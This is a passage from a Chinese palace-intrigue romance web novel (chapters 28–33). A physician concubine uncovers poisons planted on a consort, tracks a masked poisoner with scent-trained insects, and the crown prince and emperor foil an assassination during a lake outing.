《毒妃她从地狱来,阴鸷太子轻声哄》 第二十八章 五皇子为难 “娘娘,借护甲看看。”沈青黛伸手去拿。 德妃想缩手又忍住了。 沈青黛抠了抠护甲缝,银针往里头一戳,针尖立马变红了! “您瞧,护甲缝里全是朱砂粉。” 沈青黛把银针递过去。 “您平常涂脂抹粉、端茶吃饭,这毒可不就顺着指甲进肚子了?而且……您的香枕头估计也有鬼。” 德妃脸白得像纸,浑身直打摆子:“来人!把我屋里香枕头全抱过来!” 宫女抱来绣着金边牡丹的枕头。 沈青黛拆开一个,凑近闻了闻,脸色瞬间难看起来。 “还真有麝香!不过掺得少,混在香料里,难怪一直没被发现!” “这群黑心肝的!”德妃“啪”地把茶碗摔在地上,瓷片崩得到处都是。 “表面对我笑眯眯,背地里下这种狠手!” 她突然瞪着跪在地上的贴身宫女,“说!到底是谁干的?” 那宫女扑通一声瘫在地上,哭得上气不接下气:“娘娘饶命啊!奴婢真不知道啊!” 沈青黛赶紧打圆场:“娘娘消消气!当务之急是先把带毒的东西全扔了,再好好查清楚。” 她摸出个小瓷瓶,“这是解药,您先喝了,我再开几副汤药给您调理。” 德妃抢过瓷瓶,仰头把药全灌下去,抹了把嘴,眼神阴得吓人。 “传令下去,谁都不许进出!把伺候过我的人全抓起来审问!屋里东西不管多值钱,统统给我扔出去!” “娘娘,您身子……”沈青黛还想劝。 “行了,你走吧。”德妃不耐烦地摆手,语气冷冰冰的,“今天的事敢乱说一个字……” 虽然没把话说完,但那眼神看得沈青黛后脊梁直冒冷汗。 “我明白!”沈青黛慌慌张张行了个礼,倒退着出了门。 一踏出宫殿,才发现后背衣服都被冷汗浸透了。 春桃看她脸色不对,小跑着凑过来:“主子,德妃没为难您吧?” 沈青黛摇摇头,压低声音说:“快走!这儿要出大乱子了。” 两人一路小跑回住处,身后还时不时传来德妃宫里的叫骂声和摔东西的动静。 刚转过拐角,沈青黛冷不丁撞上一堵肉墙。 抬头一看,五皇子正斜倚在廊柱上,嘴角挂着不怀好意的笑,眼神在她身上来回打量。 “哟,这不是沈良娣吗?听说你最近攀上高枝了。” “从要送给太监的玩物,摇身一变成了太子的人?这麻雀变凤凰的戏码,演得够精彩啊!” 沈青黛气得脸都绿了,往后退了一步,扬起下巴:“五皇子请自重!我如今是太子良娣,可不是任人消遣的!” “太子良娣?”五皇子嗤笑一声,伸手就要去捏她的下巴。 “别以为傍上太子就能高人一等了!别忘了你当初是怎么进的宫!要不是太子一时兴起……” 沈青黛一把拍开他的手,余光瞥见不远处有道熟悉的身影。 她眼珠一转,故意提高嗓门:“五皇子说话最好放尊重点!我现在是东宫的人,殿下对我……” “东宫的人又如何?”五皇子猛地将她抵在墙上,“太子的位子可不是一成不变的,说不定哪天……” “五弟这是在教本太子怎么管教自己的人?”一道冰冷的声音突然响起。 萧景翊阴沉着脸大步走来,周身散发着寒气,身后的侍卫吓得大气都不敢出。 五皇子脸色骤变,慌忙松开手。 还没等他开口辩解,萧景翊已经一把将沈青黛揽进怀里,冷声质问:“谁给你的胆子,动本太子的人?” 沈青黛趁机往萧景翊怀里缩了缩,委屈巴巴地说:“殿下,五皇子他……他欺负我!” 那副泫然欲泣的模样,不知情的还以为真受了天大的委屈。 “欺负你又怎样?”五皇子梗着脖子,“不过是个……” “不过是什么?”萧景翊眼神一凛,“五弟要是觉得东宫好欺负,大可放马过来。但要是再敢动她一根手指头……” 他慢条斯理地把玩着腰间的玉佩,“本太子不介意让你尝尝,什么叫生不如死。” 五皇子脸黑得像锅底,死死盯着沈青黛泛红的眼眶,突然冷笑。 “好啊沈良娣,故意在这儿等我,就为了叫太子来撑场子?” 沈青黛往萧景翊怀里缩了缩,眨巴着眼睛说:“五皇子这话可冤枉人了!” “我就是路过,倒是您,三番五次对太子的人动手动脚,传出去您这皇子的脸往哪儿搁呀?” “你少装无辜!”五皇子气得脖子青筋直冒,压低声音骂道,“别以为傍上太子就能横着走!太子的位子……” “五弟这么惦记太子之位?”萧景翊突然插话,嘴角挂着坏笑,“也是,毕竟你母妃在冷宫蹲好久了,你着急上位好捞人是吧?” 这话像刀子扎进五皇子心里。 他脸色瞬间变了,拳头捏得咔咔响:“萧景翊!你别太过分!” “我过分?”萧景翊挑眉,慢悠悠整理袖口。 “有这闲工夫惦记我的位子,不如多去求求父皇,说不定一心软,能把你母妃接出来团聚。” 沈青黛憋笑憋得肚子疼,在萧景翊身后偷偷比了个鬼脸。 五皇子脸一阵红一阵白,想起被禁足的陆琼华,到嘴边的狠话又咽了回去。 “走了。”萧景翊看都不看五皇子,直接搂着沈青黛肩膀就走,“跟这种人废话,浪费时间。” “就是就是!”沈青黛故意大声说,“有些人连自家母妃都保不住,还惦记……” 话没说完就被萧景翊捂住嘴。 “再乱说话,把你丢去喂野猫。”萧景翊在她耳边嘀咕,手上却没使劲。 沈青黛趁机咬他手心一口,疼得他闷哼一声。 等走远了,沈青黛笑得直不起腰。 “殿下!您刚才怼五皇子那几句太绝了!特别是说让他先捞母妃,哈哈哈哈!” “有这么好笑?”萧景翊黑着脸擦手,心里却有点小得意,“下次再惹麻烦,我可真不管你了。” “明明是他先动手的!”沈青黛跺脚,“我这是给您长威风!让大家都知道,惹东宫的人没好果子吃!” 第二十九章 觊觎太子之位 她突然凑近,小声问,“不过殿下,五皇子真的想抢您位子啊?” 萧景翊眼神一冷,没搭理她。 沈青黛立刻识趣地闭嘴,小跑着跟上:“当我没问!说点别的,我给德妃配的新香可神了,她用了当晚就睡踏实了……” “后宫的事儿你少掺和。”萧景翊打断她,“水太深,别把自己搭进去。” 沈青黛吐舌头:“知道啦!不过德妃现在可离不开我,还说要帮我救家人呢。您说要是她生了皇子……” “闭嘴!”萧景翊弹了下她脑门,“这种话也敢乱说?再瞎咧咧,小心我拔了你的舌头!” “小气鬼!”沈青黛揉着脑门嘟囔。 “我这不也是盘算以后嘛。说真的,今天多亏您了,五皇子刚才那吃瘪的样子,我能笑三天三夜!” 萧景翊看她没心没肺的样子,又好气又好笑:“就知道幸灾乐祸。回你自己屋去,别再给我惹事!” 说完转身就走,脚步却不自觉放慢,偷偷等着沈青黛跟上来。 沈青黛冲他背影做个鬼脸,还是小跑着追上去:“殿下等等我!我还有好多八卦要跟您说呢!” 萧景翊头也不回,脚步却慢了半分:“又是什么烂事儿?该不会是德妃宫里摔碎了几个碗,也要拿来当八卦?” “才不是!”沈青黛几步窜到他跟前,眼睛亮晶晶的。 “我听说,五皇子前儿去求见父皇,结果在御书房外跪了半个时辰!您说,是不是因为今天的事儿,父皇训他了?” 萧景翊瞥了她一眼,伸手弹了下她的额头:“少瞎打听。我问你,琳琅中的毒,你研究得怎么样了?” 沈青黛揉着额头,脸上的笑瞬间收了起来。 “还在找能替换那味过敏药材的东西。我出宫摆摊,就是想多遇到些有相似症状的病人,说不定能从他们身上找到线索。” 她叹了口气,踢开脚边的小石子,“可太难了,找了这么久都没头绪。” 萧景翊脚步一顿,沉思片刻后说:“明日我要出宫办点事,你跟着一起。” “真的?”沈青黛眼睛一亮,差点跳起来,“殿下您简直是活菩萨!有您带着,我能去更多药铺打听!” “别高兴得太早。”萧景翊板着脸,“下不为例。我可不喜欢被人当工具使。” 沈青黛立刻摆出一副可怜巴巴的样子。 “殿下,我哪敢利用您啊!您这么英明神武,我跟着您,那是打着灯笼都难找的福气!” 萧景翊冷哼一声,耳尖却悄悄泛红:“少拿好话糊弄我。明天早点起,耽误了事有你好看。” 第二天,沈青黛顶着黑眼圈在东宫门口等萧景翊。 两人刚到民巷,就看见摊子前乌泱泱围了一圈人。 几个妇人眼尖,老远就喊:“沈大夫来了!可算把您盼来了!” 沈青黛挤到摊前,好家伙,板凳上还坐着排队的人呢! 她赶紧掏出脉枕,笑着招呼。 “让大家久等啦!今儿都给瞧上!” 看诊到第十三个病人时,沈青黛刚把完脉,突然觉得后脖颈一阵发凉。 她下意识摸了把脖子,指尖沾到点黏糊糊的东西。 再一闻,一股古怪的药味直冲鼻子。 有人下毒! 她猛地抬头,人群里闪过一道黑影。 戴黑面罩的男子转身就跑,撞倒了好几个摊子。 沈青黛大喊:“抓住他!”可那人腿脚太快,眨眼就没影了。 “沈大夫,您这是怎么了?”周围的大娘们慌了神,“脸色白得跟纸似的!” 沈青黛强撑着站起来,挤出个笑。 “没事儿,就是突然有点不舒服。对不住大伙儿,今天先到这儿,明儿我一定补上!” 她攥紧拳头。 居然有人敢在眼皮子底下下毒,当她是软柿子? 等人群散了,沈青黛顺着男子逃跑的方向追去。 追到一条巷子里时,那人突然不见了踪影。 沈青黛咬牙切齿,摸出怀里的毒粉包撒出去:“跑得了和尚跑不了庙!” 刚撒完毒粉,她就觉得一阵头晕目眩。 不好,毒性发作了! 沈青黛扶着墙跌跌撞撞往前走,眼前突然出现一家药铺。 她拼尽最后一丝力气冲进去,大喊:“老板!快拿雄黄、南星、半边莲……” 药铺老板瞪大了眼睛:“姑娘,你要的可都是毒药啊!” “别废话!”沈青黛抓过药柜上的秤,手抖得厉害,“再磨蹭我就死给你看!” 她强撑着按记忆里的方子配药,把几种草药混在一起嚼碎了咽下去。 过了好一会儿,毒性总算压了下去。 沈青黛瘫坐在地上,冷汗把衣服都湿透了。 药铺老板小心翼翼凑过来:“姑娘,您这是……” “有人想害我。”沈青黛抹了把脸,盯着药柜上的药材,突然眼睛一亮。 刚才逃跑的男子身上沾了她撒的毒粉,这种毒遇药草会变色,只要查查附近谁家买了特定的解毒药材…… 她猛地站起来,抓住老板的胳膊:“最近有没有人来买过金银花、紫花地丁?” 老板被她吓了一跳,翻了翻账本:“倒是有个蒙面人,一大早就来买了这些药材……” 沈青黛嘴角勾起一抹冷笑。 看来,这幕后黑手还挺心急,下毒不成,立马就来买解药。 “多谢老板!” 正要转身离开,药铺老板突然扑通一声跪在地上,拽住她的衣角:“大夫!求您救救我!” 沈青黛吓了一跳,低头就看见老板头发花白,满脸皱纹,可瞧着身形和声音,分明像个壮年人。 “您这是……”沈青黛蹲下身,搭上老板的脉搏,脸色瞬间变了。 这脉象虚浮杂乱,换作旁人,早就该咽气了,可老板居然还能站着说话。 老板老泪纵横,声音带着哭腔。 “我叫花戎,是南疆人。十年前中了一种怪毒,这毒能让人的皮肉一天天衰老,看着像个老头子,其实我才三十岁啊!” 他撩起袖子,露出的手臂却光滑紧致,和脸上的老态判若两人。 沈青黛眼睛亮了。 作为大夫,她最见不得人被病痛折磨,更别说这种闻所未闻的奇毒。 她仔细查看花戎的眼睛、舌苔,又问了问发病症状,越听越兴奋。 “有意思!这毒像是用了南疆特有的蚀颜草,再混了些中原药材……” 第三十章 草药随便拿 “大夫,您知道这毒?”花戎抓住她的手,“我找了无数名医,都说无解!” “解是能解,不过得费些功夫。”沈青黛摸着下巴。 “这毒会随着情绪波动发作,你是不是一生气、一着急,脸上的皱纹就更多?” 花戎拼命点头,像抓住救命稻草:“对对对!大夫您要是能救我,以后您要什么药材,我都免费送!” 沈青黛眼睛瞪得溜圆,差点蹦起来:“当真?” 要知道,她给德妃配香、给东宫众人调理身体,药材可都是白花花的银子。 要是能免费拿药……她咽了咽口水,立刻换上一副严肃的表情:“既然如此,这事儿我接下了!” 花戎激动得眼眶发红,差点又要下跪,被沈青黛眼疾手快拦住。 “使不得使不得!我先记下药方,你按方煎药,有情况随时通知我!” 她搓着小手,已经开始幻想用免费药材捣鼓出多少新药方了。 另一边,东宫书房里,萧景翊听完暗卫的汇报,手里的毛笔顿了顿,在奏折上晕开一团墨渍。 “沈青黛跑去药铺查解毒的事儿了?”他挑眉,嘴角不自觉往下撇,“倒是会给自己找活儿干。” “殿下,那奴才要不要把她带回来?”暗卫话没说完,就被萧景翊打断。 “不必。”萧景翊把奏折往桌上一扔,靠在椅子上转着拇指上的玉扳指。 “让她折腾去。真要有本事,就别回来哭鼻子。” 他眼神一沉,“三天后的上元节,按计划行事。烟花就是信号,让暗卫盯着点,别出岔子。尤其是五皇子那边的人,给我盯紧了。” “是!不过……”暗卫犹豫了一下,“沈良娣在外面查毒,万一有人对她下手……” “她要是连自己都护不住,还当什么大夫?” 萧景翊冷哼一声。 “再说了,她不是随身带着那些乱七八糟的暗器吗?真遇上麻烦,说不定还能把对方折腾得够呛。” 话虽这么说,他无意识地捏紧了玉扳指。 暗卫低着头,憋住笑。 “殿下说得是。不过奴才听说,药铺老板是南疆人,沈良娣接的那个怪病案子,会不会和南疆那边……” “南疆?”萧景翊眼神一凛,“让影卫也盯着点。沈青黛那丫头好奇心太重,别真捅出什么娄子。” 正说着,外头小太监尖着嗓子喊:“威远侯府送请柬来啦——” 萧景翊接过烫金请柬扫了一眼,嘴角勾起一抹冷笑。 请柬上写着邀他上元节游湖赏月,言辞恳切,说是阖家欢聚,可谁不知道,威远侯最近跟五皇子走得火热。 这哪是请他游湖,分明是想借机试探东宫虚实。 “就说本宫定会赴约。”萧景翊把请柬往案上一丢。 “既然他们想玩,那就陪他们好好玩玩。”萧景翊把玩着请柬上的金丝纹路。 “对了,沈良娣那边……让人送句话,就说在外面老实点,别乱跑。” “要是她不听呢?” “她敢!”萧景翊瞪了一眼,“真要闯出祸来,看我怎么收拾她。” 他停顿了一下,又补充道,“再派两个暗卫暗中保护,别让她发现了。” 暗卫终于忍不住笑出声:“殿下,您这是……” “笑什么笑!”萧景翊抓起砚台作势要砸,“还不快去办事!” 等暗卫离开,萧景翊又拿起请柬,看着上面“阖家欢聚”四个字,冷笑一声:“阖家欢聚?” 他想到沈青黛咋咋呼呼的样子,不自觉地笑了,“有那个惹事精在,说不定还能给他们添点‘惊喜’。” 他叫来侍从:“去把沈良娣上次送的绿豆糕再拿一盒来。” 侍从走后,他喃喃自语:“这个沈青黛,最好别给我捅娄子……” 嘴上嫌弃,可嘴角的笑意,却怎么也压不下去。 正啃着绿豆糕时,沈青黛哼着小曲儿晃回了东宫。 她怀里还揣着花戎硬塞的几包珍稀药材,走路都带风。 刚进院子就撞见萧景翊黑着脸站在屋檐下,手里还捏着半块没吃完的绿豆糕。 “沈青黛,你还知道回来?”萧景翊扬了扬手里的糕点,“在外面野够了?” 沈青黛吐了吐舌头,从怀里掏出个油纸包:“殿下消消气!我给您带了好东西!” 打开油纸,露出几块晶莹剔透的桂花糖,“花戎药铺隔壁买的,可甜了!” 萧景翊别过脸:“谁要你的糖……” 话没说完,沈青黛已经把糖塞进他嘴里。 甜丝丝的味道混着桂花香在舌尖散开,他差点呛着,“你……” “好吃吧?”沈青黛笑眯眯地说,“对了,殿下找我啥事?不会就为了堵我夸绿豆糕做得好吧?” 萧景翊咳了两声,恢复了高冷模样:“明天陪我去游湖。威远侯府的请柬,你应该听说了?” 沈青黛的笑容瞬间收了起来。 “威远侯府?他们最近和五皇子走得那么近,邀您游湖肯定没安好心!该不会想把您推下水喂鱼吧?” “喂鱼倒不至于,试探倒是真的。”萧景翊揉了揉眉心。 “明日父皇会微服私访,威远侯府见陆琼华一直被禁足,怕是急着找新靠山。这次游湖,八成是想看看我的态度。” 沈青黛皱着眉想了想:“所以您带我去,是想拿我当挡箭牌?” “说什么胡话!”萧景翊瞪了她一眼,“你医术好,万一有人在酒菜里动手脚,还能派上用场。” 他顿了顿,又补充道,“再说了,有你在旁边叽叽喳喳,倒也能添点乐子。” “我就知道殿下舍不得我!”沈青黛凑过去,“不过丑话说在前头,要是遇到危险,您可得护着我!我这小身板,可经不起折腾。” “知道了知道了,啰嗦。”萧景翊耳尖泛红,“明日辰时三刻,准时在东宫门口集合。别穿得太招摇,免得引人注目。” 沈青黛眼睛一转,突然压低声音。 “殿下,我听说威远侯府的二小姐,可是京城出了名的才女。您说,她会不会趁机对您……” “沈青黛!”萧景翊脸一黑,“再胡说八道,信不信我把你丢进湖里!” 第三十一章 答应去游湖 “我错了我错了!”沈青黛赶紧摆手。 “不过说真的,咱们要不要提前做点准备?我新改良了一种迷药,往酒里一撒,保管他们全都……” “打住!”萧景翊头疼地揉了揉太阳穴。 “正常游个湖,别总想着下毒。你就安安分分当好你的大夫,其他的事,本太子自有安排。” 沈青黛撇了撇嘴:“好吧好吧,听您的。不过要是有人敢欺负我,我可不客气!” 她晃了晃袖中的竹筒暗器,“我这宝贝可好久没开张了。” 萧景翊看着她那副跃跃欲试的样子,突然有点后悔带她去。 但想到沈青黛鬼灵精怪的性子,说不定真能在关键时刻打乱对方的计划。 “罢了,管好你自己,别瞎出风头。”他甩下这句话,转身回了书房。 与此同时,威远侯府热闹得很。 陆雪柔举着件月白色襦裙在铜镜前转圈圈,“姐姐,你说我穿这件去游湖,太子殿下会不会多看我两眼?” 陆清荷翻了个白眼。 “就知道臭美!侯夫人可是说了,咱们这次去,是要想法子把琼华表姐从禁足令里捞出来,可不是让你去钓金龟婿的!” 话虽这么说,她却偷偷往自己鬓边又别了不同的饰品。 正拌着嘴,侯夫人扶着丫鬟的手走了进来,凤目扫过满地的绫罗绸缎,眉头皱起来。 “都什么时候了,还在这儿胡闹!太子明日游湖,陛下也会微服同行,这是咱们威远侯府翻身的好机会!” 陆雪柔赶紧放下裙子,小跑着过去挽住侯夫人的胳膊。 “母亲放心!我和姐姐早就想好了,到时候在宴会上献个才艺,保准让太子殿下和陛下眼前一亮!” “哼,就你们那点花架子。”侯夫人没好气地拍开女儿的手。 “听着,你们进了宫,首要任务是让陛下松口,解除琼华的禁足令!威远侯府如今全靠她在宫里撑着,要是再被关下去……” 她没把话说完,眼神却冷得像冰。 陆清荷低头绞着帕子:“母亲,可咱们要怎么说?陛下一向最讨厌后宫干政……” “蠢货!”侯夫人恨铁不成钢地瞪了她一眼。 “谁让你们直接求情了?就说琼华知道错了,每日以泪洗面,还亲手给陛下绣了祈福香囊……” 她从袖中掏出个绣着金龙的香囊,上面的线脚歪歪扭扭,一看就不是出自宫人手笔,“拿着,到时候就说是琼华绣的。” 陆雪柔眼睛亮晶晶地接过香囊:“母亲好聪明!陛下见了这么诚心的香囊,说不定一心软就……” “光靠香囊可不够。”侯夫人压低声音。 “你们还要在太子面前多表现,最好能让他在陛下面前为琼华说几句好话。太子如今正是陛下的心头好,他的话可比你们管用多了。” 陆清荷咬了咬嘴唇:“可万一太子不买账呢?听说他最近和那个沈良娣走得很近……” “沈良娣?”侯夫人冷笑一声,“不过是个从皇后宫里爬出来的贱丫头!” 她伸手捏了捏陆雪柔的脸,“只要这次办成了,往后你想当太子妃还是……” “母亲!”陆雪柔羞得满脸通红,心里却乐开了花。 “好了,都收拾收拾。”侯夫人拍了拍手。 “明日记得把眼泪备足了,见了陛下就哭,哭得越惨越好!还有,千万别得罪那个沈良娣,免得太子护着她,坏了大事!” 等侯夫人离开,陆雪柔抱着香囊一屁股坐在床上。 “姐姐,你说太子殿下会喜欢我这样的吗?我要不要再换件衣裳?” 陆清荷没搭理她,对着镜子仔细调整发簪的角度,心里却盘算着。 要是能让太子在陛下面前替表姐求情,那自己在侯府的地位…… 她嘴角勾起一抹算计的笑,明天的游湖,看来会很热闹。 第二天天还没亮,沈青黛就被春桃从被窝里拽起来。 她打着哈欠往脸上拍冷水,突然瞥见铜镜里自己眼下的青黑,吓得一激灵:“完了完了!这模样出去,别人还以为我被太子苛待了呢!” 手忙脚乱抹了点花戎给的珍珠膏,这才顶着张勉强精神的脸出了门。 宫门口,威远侯府的朱漆马车已经停了好一会儿。 陆雪柔掀开车帘,老远就捏着帕子喊:“沈姐姐!可算把您盼来了!” 她一身鹅黄襦裙,鬓边的珍珠步摇晃得人眼花。 “早听说姐姐医术高明,上次太子头疼都是您治好的,妹妹我可崇拜您了!” 沈青黛心里翻了个白眼,脸上却笑得温婉。 “妹妹谬赞了,不过是懂些皮毛。倒是妹妹这一身打扮,衬得跟画里的仙子似的,一会儿见了太子殿下,怕是要挪不开眼了。” 陆清荷从马车里探出头,酸溜溜地接话:“姐姐就会打趣人。不像我,笨手笨脚的,哪比得上雪柔妹妹心灵手巧。” 她故意扯了扯自己的茜色裙摆,“不过是随便穿穿,哪敢和妹妹比。” 沈青黛憋着笑,往两人中间一站。 “哎哟,你们姐妹花一个明艳动人,一个清雅脱俗,要是都进了宫当嫔妃,往后宫里的胭脂水粉怕是都要涨价!” 她压低声音,神神秘秘道,“说句不该说的,要是二位妹妹得了圣宠,连陆琼华表姐都得靠边站!” 陆雪柔的脸“腾”地红透了,嘴上却嗔怪:“姐姐莫要乱说,琼华表姐是长辈……” 可眼底的得意怎么都藏不住。 陆清荷倒是眼睛一亮,抓住沈青黛的手:“姐姐当真觉得我们有这个本事?” “那是自然!”沈青黛拍了拍她的手背,“就说妹妹你,方才那一句‘随便穿穿’,这欲拒还迎的心思,哪个男人扛得住?” 她又转头看向陆雪柔,“还有妹妹这双会说话的眼睛,往太子殿下跟前一站,保准把他魂儿都勾走!” 陆雪柔被夸得晕头转向,差点找不着北,拉着沈青黛的手就不肯放。 “姐姐可太会说话了!以后一定要多教教我们!” 陆清荷也在一旁连连点头,眼里满是讨好。 第三十二章 半路开溜 马车晃晃悠悠行了大半个时辰,终于到了洞庭湖樊楼。 沈青黛掀开车帘,差点看直了眼。 前世她被困在宫里,别说洞庭湖,连宫墙外头的柳树都少见,这会儿光是闻着新鲜空气,都觉得浑身舒坦。 威远侯早就在楼前候着了,大老远看见萧景翊下车,立马小碎步颠过来。 “哎哟喂!太子殿下来啦!您这一来,我这破楼都亮堂了!” 他转头瞅见沈青黛,赶紧点头哈腰,“沈良娣也来啦?快请快请,楼上酒菜都备齐了!” “威远侯客气了。”萧景翊淡淡笑了笑,眼睛扫过樊楼的飞檐,“倒是您费心,还把这儿包场了。” 威远侯搓着手赔笑,袖子都快磨出火星子了:“殿下说哪儿去了!您肯赏脸是给我面子,今儿个必须图个清静不是?” 他侧身做了个请的手势,袖口金线绣的麒麟都快晃瞎人眼,“楼上给您备了杂耍班子,还有刚从湖里捞的鲜鱼,您可得好好尝尝!” 沈青黛跟着往楼上走,推开雕花木门那一刻,她忍不住惊叹。 “这儿风景也太绝了吧!”沈青黛趴在栏杆上,伸手去够外头垂下来的柳枝。 “在宫里憋得我都快长毛了!” 她揪下片柳叶卷成哨子,吹得呜呜跑调。 正玩得嗨呢,楼下突然一阵乱哄哄,管事扯着公鸭嗓喊:“贵客到——” 沈青黛扒着栏杆往下瞧,就见一群穿短打衣裳的壮汉护着个穿藏青锦袍的中年男人上楼。 那人腰里挂着块羊脂玉,走一步晃三晃,举手投足那派头,一看就不是普通人。 “我去……这不是陛下吗?”沈青黛吓得差点从栏杆上掉下去。 萧景翊赶紧拽住她后领,低声骂:“没规矩!” “参见陛下!”众人齐刷刷跪下。 沈青黛膝盖刚着地,就用眼角余光偷瞄皇帝身后的食盒。 好家伙!盒盖缝里居然露出个白瓷罐子,罐口还沾着点奶黄色的酥酪! 都说陛下微服私访体验民间疾苦,结果却让御膳房打包八珍玉食? “都起来吧。”皇帝扫了眼众人,目光在沈青黛乱晃的脑袋上多停了两秒。 “听说威远侯包下樊楼摆席面,朕也来凑个热闹。” 他说话时,腰间的羊脂玉坠子随着动作晃悠,把沈青黛看得直眼馋,估摸着比她攒了半年的月钱还贵! 威远侯笑得嘴角都快咧到耳根了。 “陛下大驾光临,是臣八辈子修来的福气!” “刚才备的那些糙食,哪配得上陛下金贵的肠胃?快!把樊楼的招牌菜全撤了,给陛下上御膳房的!” “不必。”皇帝摆摆手,一屁股坐在主位上,把食盒往桌边推了推,“朕今儿就想尝尝老百姓的手艺。” 他端起茶盏抿了口,突然像是想起什么似的,扭头看向沈青黛,“听说你在宫里给嫔妃们扎针开药,还挺有两下子?” 沈青黛心里“咯噔”一下,感觉后脖颈直冒冷汗。 她偷偷掐了把自己大腿,摆出乖巧模样:“回陛下,就是懂点治头疼脑热的小玩意儿,都是太子殿下和娘娘们抬爱,给我机会练手。” 说着她偷瞄了眼萧景翊,见他正盯着自己,顿时耳根子烧得慌,赶紧低头抠裙角。 皇帝“嗯”了一声,手指头敲着桌子:“前天德妃还跟朕念叨,说你给她配的安神香挺管用,夜里不做噩梦了。” 沈青黛赶紧堆起笑:“陛下可别夸我!就是用了点薰衣草混合欢花,都是常见的花草。德妃娘娘心善,瞧我手笨才故意夸呢!” 皇帝被逗得哈哈笑,刚要说话,威远侯便开口道:“陛下,您瞧这天色多好,湖面上风也不躁,臣特意备了艘画舫。” “且湖中心的荷花正开得热闹,还有八个会弹琵琶的歌女候着,您要不要上船瞧瞧?” 沈青黛一听要上船,心里直犯嘀咕。 她还惦记着找那个下毒的孙子呢,哪有闲工夫坐船赏景? 眼珠子一转,突然捂着胸口“哎哟”一声,脚下踉跄着往后倒。 “你怎么了?”萧景翊眼疾手快扶住她。 沈青黛一咬牙,舌尖狠狠咬下去,血腥味涌上来,她有气无力地说:“殿下……我老毛病又犯了……” “刚才还活蹦乱跳的,咋突然就不行了?”萧景翊满脸怀疑,可看着她惨白的小脸,心里又忍不住发慌。 皇帝脸色也变了,大手一挥:“太子,你送沈良娣回东宫,找太医好好看看。” 沈青黛连忙摆手,说话气若游丝:“陛下、殿下好不容易出来玩,我可不能扫大家兴!我让春桃扶我回去就行……” 说完还硬挤出个比哭还难看的笑。 萧景翊死死盯着她,总觉得哪里不对劲,但当着皇帝的面也不好发作。 他偷偷给暗处使了个眼色,两个暗卫立马跟了上去。 沈青黛刚出樊楼,立马把带血的帕子塞回袖子,撒开腿就跑。 她拐进小巷子,摸出个小竹筒——里头全是芝麻大的小飞虫。这可是她用特殊香料养的追踪神器,专闻毒粉味儿。 “上!给我狠狠追!”沈青黛打开竹筒,小飞虫嗡地一下全飞出去,在空中转了两圈,直奔城西。 与此同时,湖面上的画舫正慢悠悠晃荡。 威远侯搓着手,把陆雪柔和陆清荷往前推:“陛下,这是臣的两个小女,雪柔、清荷,快给陛下请安!” 陆雪柔立刻蹲身行礼,声音甜得发腻:“陛下万福,臣妾给陛下添麻烦了。” 陆清荷也跟着福了福身子,偷偷抬眼瞄皇帝。 皇帝端着茶盏,慢悠悠抿了一口,目光在两个庶女脸上转了转,突然冷笑一声。 “威远侯倒是好心思,把女儿养得这么水灵,是想送进宫里伺候朕?” 威远侯脸上的笑瞬间僵住,额头冒汗:“陛下说笑了!臣只是想让小女们……” “想让她们效仿娥皇女英?”萧景翊突然插话,似笑非笑。 “威远侯这算盘打得精啊,要是两个女儿都得了圣宠,威远侯府岂不是能横着走?” 第三十三章 有刺客 皇帝“嗯”了一声,放下茶盏:“太子说得有理。不过……” 他话锋一转,突然看向陆雪柔,“这孩子眼睛倒是挺亮,朕看着顺眼。” 陆雪柔激动得差点跳起来,连忙磕头:“谢陛下夸奖!” 威远侯也松了口气,赶紧拍马屁。 “陛下慧眼!小女能入陛下法眼,是她八辈子修来的福气!” 萧景翊看着威远侯那副谄媚样,心里直犯恶心,端起酒杯假装喝酒,眼角余光却瞟着湖面。 突然,画舫猛地晃了一下,桌上的杯盘叮铃哐啷摔了一地,众人尖叫着东倒西歪。 “船、船怎么晃了?”陆雪柔吓得抓住威远侯的袖子。 “船底下好像有人!”一个家丁指着水面大喊。 只见船舷下冒出几个黑影。 威远侯脸都白了,扑到皇帝面前:“陛下!您快进内舱!臣护着您!” 他话音刚落,一个黑衣人唰地从水里跳上来,刀片子直奔皇帝面门。 “找死!”萧景翊一脚踹飞黑衣人,长剑出鞘横在皇帝身前,转头瞪着威远侯。 “威远侯!你不是说包场了吗?怎么船底下还有人?守卫都死哪儿去了?” 威远侯吓得腿肚子直打颤,结结巴巴说:“臣、臣也不知道啊!这、这绝对是意外……” 皇帝却冷着一张脸,从袖兜里摸出个骨哨子,“嘘——”地吹了一声。 那声音又尖又细,听得人耳朵发麻。 眨眼间,湖面上突然冒出十几个水鬼似的黑衣人,手里拿着鱼叉,三下五除二就把船底下的黑影解决了,血水把湖面都染红了一片。 萧景翊看着这阵仗,脸色微微一变。 他早就听说父皇手里有支秘密暗卫,没想到真的存在,而且还是水陆两栖的狠角色! 之前一直以为是传言,看来今天总算诈出来了。 皇帝把骨哨揣回兜里,慢条斯理地擦了擦手,看向威远侯:“威远侯,你说这是意外?” 威远侯“噗通”一声跪地上,磕头如捣蒜:“陛下饶命!臣、臣真不知道啊!肯定是五皇子指使的!对!一定是他!” “五皇子?”皇帝挑眉,“他让你把朕和太子引到画舫上,好让人凿船?” “是是是!”威远侯像是抓住救命稻草一般,“五皇子说只要事成,就保臣当丞相!臣一时糊涂,就……” 萧景翊冷笑一声:“威远侯,你这甩锅的本事倒是见长。方才你两个女儿还想行刺,现在又把锅扣五皇子头上,当陛下是傻子吗?” 陆雪柔吓得瘫在地上,嘴唇哆嗦着说不出话。 皇帝看着威远侯这副熊样,不耐烦地挥挥手:“把他和那两个女儿都押下去,带回宫里审问。画舫漏水,赶紧靠岸!” 侍卫们手忙脚乱把威远侯拖走,画舫慢慢往岸边漂。 皇帝全程冷着脸,下船时连看都没看威远侯一家,甩着袖子就上了马车。 陆雪柔哭喊着想去拽皇帝衣角,被侍卫一脚踹开,车帘子“唰”地放下,马蹄声哒哒响着往皇宫方向去了,留下威远侯一家在码头跟落汤鸡似的干瞪眼。 再说沈青黛这边,正猫在客栈二楼拐角偷听。 之前那拨小飞虫跟长了眼睛似的,一路嗡嗡嗡飞到城西“悦来客栈”,最后全扎堆停在二楼最里头那间房的窗纸上。 她扒着门缝一瞧,嘿,里头有个男人正满地打滚,浑身红疹子鼓得跟馒头似的,一边抓一边哼哼。 “痒死了!毒粉怎么还没解……” 沈青黛“砰”地一脚踹开门,叉着腰就进去了:“喂!下毒的孙子,老实交代,谁让你往我脖子上抹东西的?” 男人吓了一跳,抬头看见沈青黛,眼里闪过一丝慌乱,嘴还挺硬:“你谁啊?胡说八道什么!” “我谁?”沈青黛掏出个小瓶子晃了晃,“我是给你送解药的!你身上这疹子,是不是沾了我撒的毒粉?没我这药,你明天就得烂成筛子!” 